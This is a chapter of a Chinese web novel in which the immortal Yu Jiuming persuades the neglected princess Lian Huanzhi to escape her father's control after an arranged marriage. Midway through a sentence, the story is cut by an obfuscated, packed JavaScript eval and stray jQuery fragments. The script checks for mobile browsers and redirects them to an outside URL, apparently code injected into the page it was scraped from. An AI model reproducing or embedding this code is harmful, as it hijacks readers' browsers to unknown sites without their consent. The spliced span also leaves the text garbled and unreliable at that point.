在夜深人静之时，虞九明最后一次来到了望舒宫。


    她的身边只留了两个侍女侍奉。


    虞九明两道灵力落于二人脑后，两名宫女的身子便缓缓落了下去。


    床上的连桓栀立刻便察觉出来，是虞九明来了。


    苦欲莲藕丹不愧是传承丹药，中了毒，气都没了，都能救回来。


    话说起来，这种珍贵的丹药，一般人肯定都是要自留的。


    虞九明也不知道自己刚刚为什么，第一反应，就是将这要拿出来给她用。


    可能还是她太善良了吧。


    “仙长来了，多谢仙长相救。”


    说着，连桓栀便要起身，向虞九明行谢礼。


    虞九明忙道，“不必不必。”


    不容置喙地将连桓栀按回在床上。


    看着连桓栀红润的脸颊，虞九明的话缺卡在喉间，不知道怎么说才好。


    真的是，要怎么说啊。


    告诉她你父亲其实没那么爱你？虽然给你数不尽的金银珠宝，还有荣耀的称号与尊贵。


    但其实他就是不怎么爱你？


    天那，要是这么说，她这样看起来很像是酸柠檬好吧。


    心中纠结，她不禁在连桓栀面前来回踱步。


    连桓栀试探道，“仙长？您这是。”


    虞九明站定，对向那双黑溜溜望着她的眼珠，心中深深叹息。


    怎么，就会这样呢。


    她找了个凳子，看着桌上那盘精美绝伦，世间挑不出第二套的白玉茶杯，心里更闹心了。


    郁闷地给自己倒了一碗茶，猛地灌进喉间。


    清凉甘甜瞬间贯穿颅间。


    虞九明砰地一声，把茶碗按回桌上。


    抬眼看向沉静端坐在床上的连桓栀，才突然发觉，她现在的修为又增长了许多。


    若是用于凡人的毒，还轻易对她起不了作用。


    原来这位国君一直在监视她吗？


    虞九明心中更是悲哀，沉默良久继续道，


    “若是，我可以为你寻得一名仙长做师傅，你可愿随我离开，去修仙？”


    说完，虞九明抬眼看向连桓栀。


    床上的少女并未回答，望向她的双眼依旧沉静、清冷。但是有那么一瞬，虞九明看到一丝动容。不似心动，也不像被听闻山盟海誓的感动。若要形容的话，好像是日落下湖心中荡漾的水光，轻轻抓过，便再也没有了。


    连桓栀的双手无意识地蜷缩起来，


    “仙长何出此言？”


    虞九明眼中闪过一丝错愕。


    竟然不想离开吗？


    那原著中，男主是怎么将她带走的？不要告诉我，是被他风华绝代的相貌迷走的。其实要是和司云起相比，她这副样貌未必比不上啊，一米七二的身高，冷艳端庄的面容，她只是少了一坨肉而已。


    难不成真要将她抢走吗？


    说实话，违背她的意愿强行将她带走，虞九明做不到。


    对不起，伤害女人的事情，她做不到。


    虞九明沉下心中的百转千回，斟酌着自己的语言，


    “就是说，虽然你每天的生活非常富贵舒适，但是有没有可能，这些事情并不想你想象的那样。”


    “人终究是人，再怎么样，人也应该是拥有自由的。困在一个地方，那是物件才有的处境。”


    不对，说得好像不太好。


    虞九明还在心中思索下一句应该说什么，却不想连桓栀自己就接了过来。


    “但其实这些都是他们为我包装的甜蜜谎言，困住我思想的迷药，将我禁锢在原地的牢笼。对吗？”


    空气间，突然静了下来。


    这话，太精准、太直白，让虞九明并不认为这是她现想出来的。


    恐怕在某个不知名的深夜起，这些话，便在她的心中思考一遍又一遍。


    虞九明突然感到胸腔闷痛起来，像是被一圈又一圈的白绫缠绕起来。


    有那么一瞬，虞九明真的希望，这些话是由她来告诉她的。


    这样的话，痛也是一瞬的，苦也是来不及涌来的。


    这些痛苦由她来揭穿的话，她就就可以在她还来不及思索这一切的阴谋诡计之时，就已经将她从这块漩涡之中带走。


    成了仙，她未来就有大好的时间去理解、释然、忘记这些痛苦。


    可是，她又庆幸，她自己想明白了这一切。


    宁可痛苦，不要麻木。


    轻浅的抽泣声传进虞九明的耳中，她愕然抬头。


    连桓栀的神情依旧平静冷淡，没有任何表情，仿佛还是刚刚和她交谈的样子。


    可是那保养精美的脸颊上，早已被泪痕浸润，像是被露水打湿的花瓣。


    泪珠还在成股成股地从她眼中流下，在那张平静到宛如假面的面容上，更是令人触目惊心。


    “我早就知道了。”她说。


    “可是我知道的太晚了。”


    “奶我养大的嬷嬷曾和我讲过，我幼时便十分聪慧。四岁时，便可将诗经熟背下来。五岁时，我的外祖父母便赞我武学奇才。”


    “按照常理说，我的至亲一定会竭尽全力栽培我。可惜，我母亲早早就没了，我的父亲并没有栽培我。”


    “他开始将整个皇宫中最稀世的宝物送到我的宫中，锦绣华裳镶画壁，珠宝玉石尽奢华。”


    “从此我的宫中再也没有教导老师，只有数不尽的陪玩与侍从。”


    “他告诉我，我是一国公主，是全天下一人之下万人之上的人，所有人都应该供奉我，我不需要受任何苦，我天生就是来享受的。”


    “所有人都这么说，无论是他还是嫔妃，又或者我那两位皇兄。”


    他用甜蜜与陷阱将她困在原地，而他的两位皇兄默不作声。


    “就这样，我废了。而我的两位皇兄开始了他们的战场。”


    “而我反应过来的太晚了。”


    “整个朝中所有能够巴结的势力，早已被他们瓜分干净。就连柳家，都已经被他们打压到，只剩我那表姐表哥。”


    连桓栀猛地捂住面颊，那两只手掌就这样将一切悔恨与痛苦隔离在虞九明看不到的地方，


    “我反应过来的太晚了，不过也怪不了别人。是我蠢，我傻。他们随便弄点东西，又说那么几句好听的话，我就信了十三年。”


    “我真失败啊，那十三年里，明明有那么多次能够跳陷阱，可是我一次都没有，因为我的懒惰、愚昧、放纵。”


    “我输了，我彻底输了！我再也没有翻盘的机会了。”


    “我就是蠢猪、就是狗屎！”


    虞九明不希望她这样说自己。


    一个从小失去母亲的人，失去在这深宫中唯一爱自己的母亲。


    无人教导爱护她，而四周又皆是豺狼虎豹。


    知晓她聪慧，便停了她的读书，从此千娇万宠，告诉她公主就该如此，知晓她根骨奇佳，就断了她和柳家的联系，让她停止武学。


    换做任何其它女孩都要深陷其中，变得无比野蛮任性。而她，他们只困了她十三年。


    她不蠢，她是最聪慧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062506|160613||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的女孩。


    连桓栀的身体渐渐颤抖起来，虞九明一惊，怕她是哭过劲，连忙跑过去。


    连桓栀猛地抓住虞九明的双手，那双纤细的手，竟然可以使出这么大的力。一双杏眼通红湿润，像是盛满了血色。


    她紧紧盯着虞九明，突然笑了起来，苍凉又悲痛，


    “仙长，你知道吗？我父亲他恨我。”


    “我们柳家世代御敌，为为托月国出生入死。我娘也是上过战场的人，天生体质远超常人，怎么可能生下一个我就死了。”


    “他恨我娘，因为当初夺嫡之时，我们柳家支持的是他二姐。”


    “他最恨，最恨的二姐。”


    “他总共有七次死里逃生，有六次都是他二姐带给他的。”


    “那些向下陷阱、温柔炮弹，他早就在他那两位姐手中领略到了。”


    “只是她们心不够狠，他跳出来了。而他心又够狠，所以我没跳出来。他真是最像他母亲的人。”


    说到这里，连桓栀越发悲苦，她紧紧拉着虞九明的双臂，下巴几乎要贴在虞九明心下，


    “你说这世上巧不巧，我这长相，不像我爹，反倒像他那二姐。我娘和他二姐情如金兰，我又是从我娘肚子里出来的。你说，他得多恨我。”


    “他最爱的就是他那四儿子。因为他早就在他那两位姐姐那领略到女人的厉害。他怕我会变成他二姐那样的人，所以他要给他儿子铺路，就一定要把我弄死！”


    “他就是想要把我往死里弄！”


    她的声音嘶哑尖利，虞九明连看都不忍心。


    只好将她抱在胸怀中，用力地回抱住她，安抚她。


    她轻柔地抚摸着她的发丝，


    “不会的，他不会再置你于死地了。湖漪域那边需要托月国的回应，根据我的消息，他们大概率会将你与他们三公子联婚。”


    “你不必害怕，也不必去担忧嫁给自己不爱的人。我会安排一切，等你到了湖漪域，我就带你离开。你天赋异禀，青霄宗随便一个仙尊都会受你为徒。你的还有大好的未来，成了仙，这些不过是过眼云烟。”


    联婚？


    听到这里，连桓栀突然感到自己浑身猛地一凉。


    联婚


    她不禁冷笑。


    哪是联婚，分明是针对柳家下的一场大棋。


    倘若她等她到了湖漪域，柳家便彻底受他牵制。若是她死在了湖漪域，那便更好受他操控了。


    一片绝望之际，连桓栀突然脑中闪过一丝光亮。


    不对，她还可以这样。


    她还有价值。


    连桓栀推开虞九明，忙着擦拭脸上的脏污，抬起头重新对虞九明展露出一笑。


    “仙长，联婚的时候，我不能走。”


    虞九明连连道，“当然，等到你到了湖漪域，我便带你走。”


    连桓栀的笑容凝集一瞬，“那便多谢仙长了。”


    这是答应了？


    虞九明顿时大喜过望。


    答应就好，答应任务就能完成了。


    “那我就在湖漪域等你！”


    连桓栀重重点头。


    虞九明悠悠朝着门外走去。


    突然听到身后一声闷响，连忙转回头。


    只见原本端坐在床上的连桓栀突然双膝跪地，神情端庄对她重重磕了头。


    虞九明不自在地笑了笑，“不必如此不必如此。”逃似得离开了望舒宫。


    可是出来之后，心中却隐隐有种不对劲的感觉。


    或许是自己感觉错了吧。